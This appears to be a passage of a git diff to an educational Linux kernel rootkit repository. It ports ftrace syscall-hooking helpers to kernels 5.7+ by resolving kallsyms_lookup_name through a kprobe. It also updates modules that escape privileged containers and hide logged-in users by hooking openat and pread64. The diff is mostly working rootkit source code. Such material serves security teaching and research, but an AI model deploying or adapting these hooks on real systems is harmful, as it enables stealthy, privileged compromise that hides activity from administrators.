fh_install_hooks(struct ftrace_hook *hooks, size_t count) { - int err; - size_t i; + int err; + size_t i; - for (i = 0 ; i < count ; i++) - { - err = fh_install_hook(&hooks[i]); - if(err) - goto error; - } - return 0; + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; error: - while (i != 0) - { - fh_remove_hook(&hooks[--i]); - } - return err; + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; } void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) { - size_t i; + size_t i; - for (i = 0 ; i < count ; i++) - fh_remove_hook(&hooks[i]); + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); } diff --git a/3_RootkitTechniques/3.8_privileged_container_escaping/escape.c b/3_RootkitTechniques/3.8_privileged_container_escaping/escape.c index d135191..cff032f 100644 --- a/3_RootkitTechniques/3.8_privileged_container_escaping/escape.c +++ b/3_RootkitTechniques/3.8_privileged_container_escaping/escape.c @@ -13,6 +13,7 @@ #include #include #include +#include MODULE_LICENSE("GPL"); MODULE_AUTHOR("Xcellerator"); @@ -180,7 +181,20 @@ /* * structs for the 2 procfs files we need + * In kernel 5.6+, file_operations is replaced by proc_ops */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,6,0) +// proc_ops version +static const struct proc_ops proc_file_fops_escape = { + .proc_write = escape_write, +}; + +static const struct proc_ops proc_file_fops_output = { + .proc_write = output_write, + .proc_read = output_read, +}; +#else +// file_operations version static const struct file_operations proc_file_fops_escape = { .owner = THIS_MODULE, .write = escape_write, @@ -191,6 +205,7 @@ .read = output_read, .write = output_write, }; +#endif /* * LKM init function diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h b/3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h index 1624ce4..808453d 100644 --- a/3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/ftrace_helper.h @@ -8,21 +8,28 @@ #include #include #include +#include #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) #define PTREGS_SYSCALL_STUBS 1 #endif -/* x64 has to be special and require a different naming convention */ -#ifdef PTREGS_SYSCALL_STUBS -#define SYSCALL_NAME(name) ("__x64_" name) -#else -#define SYSCALL_NAME(name) (name) +/* + * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, + * so we have to use kprobes to get the address. + * Full credit to @f0lg0 for the idea. + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) +#define KPROBE_LOOKUP 1 +#include +static struct kprobe kp = { + .symbol_name = "kallsyms_lookup_name" +}; #endif #define HOOK(_name, _hook, _orig) \ { \ - .name = SYSCALL_NAME(_name), \ + .name = (_name), \ .function = (_hook), \ .original = (_orig), \ } @@ -60,6 +67,13 @@ * */ static int fh_resolve_hook_address(struct ftrace_hook *hook) { +#ifdef KPROBE_LOOKUP + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + register_kprobe(&kp); + kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; + unregister_kprobe(&kp); +#endif hook->address = kallsyms_lookup_name(hook->name); if (!hook->address) diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c b/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c index f2148f6..ffeccdb 100644 --- a/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/rootkit.c @@ -295,8 +295,8 @@ /* Declare the struct that ftrace needs to hook the syscall */ static struct ftrace_hook hooks[] = { - HOOK("sys_openat", hook_openat, &orig_openat), - HOOK("sys_pread64", hook_pread64, &orig_pread64), + HOOK("__x64_sys_openat", hook_openat, &orig_openat), + HOOK("__x64_sys_pread64", hook_pread64, &orig_pread64), }; /* Module initialization function */ diff --git a/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h b/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h index 828c613..3e72382 100644 --- a/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h +++ b/3_RootkitTechniques/3.9_hiding_logged_in_users/utmp.h @@ -39,7 +39,7 @@ } ut_tv; #else long ut_session; - struct timeval ut_tv; +// struct timeval ut_tv; #endif int32_t ut_addr_v6[4]; diff --git a/3_RootkitTechniques/README.md b/3_RootkitTechniques/README.md index d71a195..48ad6a5 100644 --- a/3_RootkitTechniques/README.md +++ b/3_RootkitTechniques/README.md @@ -2,6 +2,8 @@ ## 3: Rootkit Techniques +> Updated to work with kernel 5.7+ + There are two main way to hook syscalls via a kernel module. The first, old-fashioned way is to directly modify the `sys_call_table` structure in kernel memory. This is done by modifying the function pointer in this table corresponding to the syscall we're targetting to temporarily point to our own version. By saving the original value of this pointer we can both maintain the original functionality as well as restore the table when we're done. This is what is done in [Section 3.1](./3.1_syscall_hooking). The other more modern method is to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html). While it's meant to be used for debugging the kernel, we can use it to replace the arbitrary functions in memory with a hook instead. If you want to understand in detail what's going on with ftrace, then I suggest taking a look at the documentation linked. diff --git a/README.md b/README.md index 2f2d2b0..4f9281e 100644 --- a/README.md +++ b/README.md @@ -6,4 +6,6 @@ Educational purposes only. -Tested on Ubuntu 20.04 and 16.04,via Vagrant - should work on most kernels. +Tested on Ubuntu 20.04 and 16.04, via Vagrant - should work on most kernels. + +> Updated to work with kernels 5.7+